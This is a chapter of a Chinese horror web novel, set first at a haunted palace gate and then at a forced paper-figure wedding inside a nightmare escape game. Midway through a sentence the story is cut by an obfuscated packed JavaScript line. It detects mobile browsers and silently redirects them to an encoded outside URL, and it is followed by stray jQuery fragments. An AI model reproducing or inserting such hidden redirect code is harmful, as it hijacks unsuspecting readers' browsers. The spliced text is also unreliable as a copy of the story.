京城皇宫
夜色低垂,宫墙之内,雪落纷纷。
新来的小侍卫第一次当值,交过班后在冷月门下守夜,长夜漫漫,年轻的他不禁有些犯瞌睡。他打量了四周无人,便倚着门廊眯着打盹儿。
“砰……”
一阵清脆而响亮的碎裂声打破了深夜的宁静。
小侍卫骤然被惊醒,下意识便摸了把腰上的刀,他眯起眼睛,眼神警惕,捕捉着身旁细微的动静。
“谁!出来!”小侍卫怒声骂道。
无人应答。
冷月宫位于皇宫的西南角,紧挨着冷宫,囚禁着的不是被忘记的妃子就是罪孽深重的人。
一眼望去,长街上长满了杂草,凄冷的青石板上覆上一层银色的薄霜。风夹杂着雪花穿过不远处空荡荡的宫殿,发出呜咽般的声音。
夜色静谧无比,月光透过乌云撒在宫殿那褪了颜色的大门上,岁月的侵蚀使它斑驳不堪,又一阵冷风穿过,朱红色的大门吱呀一声,缓缓打开一道缝隙。
小侍卫心中一惊,腰间的刀攥的更紧了,但好奇心驱使他慢慢靠近那扇门。
他将脸贴近门缝,小心翼翼窥探着空旷的宫殿,荒芜的庭院笼罩在月色里,目光所及处皆安静如常,没有什么奇怪的。
刚才的异响似乎只是个幻觉。
然而就在小侍卫挠挠头,打算收回视线时,一道血红色眼睛从黑暗中迸发出来,直勾勾盯着他,那眼睛血红而深邃。
一股恶寒从脚底升起,小侍卫下意识退后一步,下一秒,那诡异的眼睛就消失在门缝中。
四周的风声突然停了,雪落无声。
突然一只沉重的手从背后搭上他的肩膀,小侍卫心底一震,再也维持不住表面的镇定,尖叫声划破了夜色。
“有鬼啊!!!”
“瞎叫唤什么!莽小子!”身后的侍卫长给了他一巴掌。
“跑这里作甚?”
小侍卫揉着脑袋,指着宫殿大门,“我方才听到声响赶过来,这……这里面关着的是人还是鬼啊!”
侍卫长斜暼了他一眼,示意他住嘴。
在皇宫,好奇心太强并不是一件好事。随后他颔首走上台阶,关上被风吹开的殿门,借着明亮的月光,最后小侍卫隐约看见了殿内的身影。
那分明是一个人,他披头散发倒在殿内的青石砖上,蜷缩着身子,隐约听见呻吟声,似乎在忍受着什么痛苦,但隔的太远,看不出是男是女。
“那位是被废的先太子……”
走到冷月门下,侍卫长拍落小侍卫帽檐上的薄雪。
“哎,你年轻不知道……
当年他可是先皇最疼爱的儿子,又是皇后嫡出,一出生便被立为太子,他也不负百姓厚望,常体恤百姓,是人人称赞的仁君,所有人都期盼着他能继承大统。
可是后来啊,不知为何,他突然变的喜怒无常,行事暴戾,甚至发疯大闹殿堂,还扬言要杀了陛下。
幸而老天有眼,这大逆不道之人刺杀陛下不成,被贬黜为庶人,终生不得离开宫门半步。
听说他那嫡亲弟弟六皇子还突然失踪了,难不成一个好好的小皇子,还能凭空消失不成?
先太子最后是母死妻亡弟散,得了疯病,只剩下一条命在冷宫里苟活罢了……”
说道此处,侍卫长望着不远处的宫殿,夜色中漫天雪落,嗟叹道。
“可惜了……”
小侍卫左顾右盼无人,这才敢试探着打听,“难不成这疯病会传染?
我听回廊下值守兄弟的表姐的妹妹的二姨夫的堂叔说,小皇子是被闻太傅掳走杀掉了,就是那个名满天下,一朝三宰相的闻家!
也不知道那闻书玉与先太子有何深仇大恨,想要挟天子以令诸侯,是想要造反吗?陛下震怒,正四处张贴告示寻人呢,抓到就是杀无赦……”
——
梦魇内
“一拜天地!”
司仪打扮的纸人扯着嗓子喊道。
这是一间漏风的破庙,堂中立着一个背对着的神像,结满了蜘蛛网,庙墙上剥脱的红漆昭示这里荒废久矣。
但破庙内此时遍地红烛,处处装饰着红丝绸,院中摆着一个祭台,上面放着三个牌位,左右各供着些牲畜和五谷,八仙桌旁还摆着两个软榻。
纸人新郎被其他的“纸人兄弟”推搡着来到榻前,它头上盖着红纱盖头,未遮掩全的腐烂了一半的脸上,还露着羞涩的微笑。
不只是它有些过分紧张,还是纸扎的身子太粗制滥造。
突然,纸新郎一不小心碰掉了自己扭曲的手指,小指滚落下来。
他呆呆愣在原地。
纸新郎身后“纸人兄弟”慌忙帮它拾起小指,塞回它手中,发出“桀桀桀”的调笑声。
空寂的破庙中被塞满了纸人宾客,他们簇拥着凑近打量祭台前这对新人,纸人乐师们摇摇晃晃倒挂在庙檐下,把喜乐吹的震天响。
真像一个荒诞的诡梦……
棠梨心想。
她眼中蓄满恐惧的泪水,从小生活在唯物主义的世界,哪里见过这阵仗!她被这离奇的一幕,简直吓到快要心脏骤停。
“唔……”
放开我!
棠梨想大喊出声,但那纸人喜婆蛮横地往她嘴里塞了块破布,攥着她细瘦的手腕,把棠梨摁到供桌前。
她使出浑身解数,但怎么也挣不脱,纸人喜婆那双长臂的桎梏。
“一拜天地!”
纸人司仪又耐着性子,用嘶哑难听的声音催促了一遍。
“唔!”
去你X的死怪物!本姑娘才不会屈服你!
棠梨双手无法动弹,她就转换思路,把全身的力气积攒到腿上。
瞅准时机,便往后狠狠一脚,踢向纸人喜婆。
身后传来纸张撕裂的声音,棠梨喜出望外。
谁料,她的双手不仅没有被松开,还被攥的更紧了。
纸人喜婆那条被棠梨踹断的,纸扎的腿像活过来一样,蹦跶着走到棠梨身后,一脚踹中她的膝窝。
让她直直跪倒供桌前的喜榻上,纸人喜婆的手死死摁着她的脑袋,挣脱不开的棠梨被强迫着跪拜天地。
棠梨是彻底没招了……
额头上的冷汗打湿了她脸上的新妆,白皙的小脸上全是绝望,那双小鹿眼噙满的泪水在这一刻奔涌而出。
在夜色中,像一朵被暴风雨打淋湿的海棠花,脆弱又美丽。
“二拜高堂!”
纸人媒婆摁住她的肩膀调转了一个方向,直直冲着祭台上摆放的牌位磕了个头。
夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315231|198935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色朦胧,棠梨只模糊看到那木头雕刻的一个牌位上刻着贺字,其他的并未看清楚。
难道这个怪物纸新郎本名姓贺?
贺……她被系统强制拉入这场逃生游戏难道与贺生有关吗?
还没容她仔细揣摩,司仪呕哑嘲哳的嗓音又一次响起。
“夫妻对拜!”
棠梨还没反应过来,便被下手不分轻重的纸人媒婆摁着,额头结结实实地磕在地上,冲着对面的纸新郎行了个对拜。
“最后,请新娘子掀起新郎的盖头!”
身后的纸人喜婆突然松开了桎梏着她的双手。
棠梨心中一喜,刚想趁机推开纸人喜婆逃跑,一双坚固有力的手就死死压上她的肩膀。
棠梨敢肯定,一但她敢跑,纸人喜婆那双尖锐的指甲就立刻会扎进她的身体里。
靠!
不跑就不跑……你个死怪物!心眼子还怪多!
“请新娘子掀起新郎的盖头。”
不远处的纸人司仪又重复道,周围的纸人宾客也嬉笑着,张着血盆大口起哄,其中纸人兄弟喊的最起劲。
“掀盖头!掀盖头!”
四周起了一阵阴风,棠梨额头前散落的流苏,胡乱拍打到她脸颊上,刺的她浑身冰冷,像带着数不清的寒意钻进她身体里。
对面的距离自己不过半个手臂的纸新郎,她甚至可以闻到他盖头下腐烂的尸臭味。
她真的是四面受敌……
前面有boss,身后站着怪力喜婆,周围还挤满了纸人兄弟和宾客,这次是真的逃不脱了。
“掀盖头!掀盖头!”
周围的宾客整齐地拍着手,一遍遍不耐烦地催促道。
隔着一层薄薄的红纱,她甚至可以看到盖头下,纸新郎笑得正灿烂。
“……”
算了,伸头是一刀,缩头还是一刀,长痛不如短痛。
干就完事了!
棠梨不愿接受这个现实,她眼看不能再拖了。
于是她偏开头,紧闭双眼,颤抖着双手揪住红纱的一角,一鼓作气地掀掉纸新郎盖头。
世界像是被静音一般,所有的嘈杂声音都消失不见……
——
棠梨试探着睁开双眼,周围白茫茫一片,那些纸人怪物们早已荡然无存。
阵阵浓雾裹挟着她往前走,很快,便停在了一处空白的地面。
空白的地上突然浮现出一厢房,棠梨迟疑了一下,推开房门。
屋内里面是浓浓的草药味,屏风后传来一阵阵抽泣的哭声。
“贺郎!”
床榻前跪坐着一个妇人,她手里端着药碗,显得十分焦急。
“你醒醒把这碗药喝了……”
可是床帐后的少年像是被下了沉睡的诅咒,一动不动。
棠梨绕过屏风,凑近到床前,想一探究竟。
突然,满脸泪水的妇人听到来人的脚步声,转身回头,熟悉的脸上是陌生无比的表情。
这人是……王翠花?
她怎么也被拉到系统的逃生游戏里了?
棠梨刚想上前问清楚,却被王翠花一双血红的眼睛止住脚步,对面之人恶狠狠地盯着自己,分明不像认识自己的模样。
“你是谁?为什么会出现在这里?”